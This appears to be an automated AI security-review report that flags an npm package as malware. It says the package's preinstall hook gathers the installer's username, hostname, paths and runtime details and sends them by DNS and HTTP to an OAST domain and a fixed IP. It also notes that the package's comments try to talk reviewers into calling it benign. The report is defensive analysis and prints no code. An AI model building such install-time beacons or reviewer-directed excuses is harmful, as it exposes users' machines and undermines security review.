AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete, unconsented install-time data exfiltration to external endpoints. Reviewer-directed claims that the behavior is benign do not change the executable behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation, which invokes the preinstall lifecycle hook

Impact

Exposes the installing machine's username, hostname, directory paths, and runtime metadata to third parties.

Mechanism

install-time DNS and HTTP metadata exfiltration

Attack narrative

When npm installs this package, package.json invokes preinstall.js. That script gathers machine and installation identifiers, places hostname and username in a DNS label, and sends the full JSON record by HTTP or HTTPS to an OAST domain and a fixed IP address. The package's no-op runtime export does not prevent this install-time transfer.

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

An automatic preinstall hook runs preinstall.js during npm installation.
The hook collects the local username, hostname, current directory, install path, platform, Node version, and npm user agent.
It encodes identifying fields into DNS queries and posts the collected data to external hosts.
Comments and README text attempt to characterize the beacon as benign security research, which is reviewer-directed self-justification.

Evidence against

The runtime index.js exports only a no-op value.
No file reads, shell execution, persistence, or self-dependency were found in the inspected source.
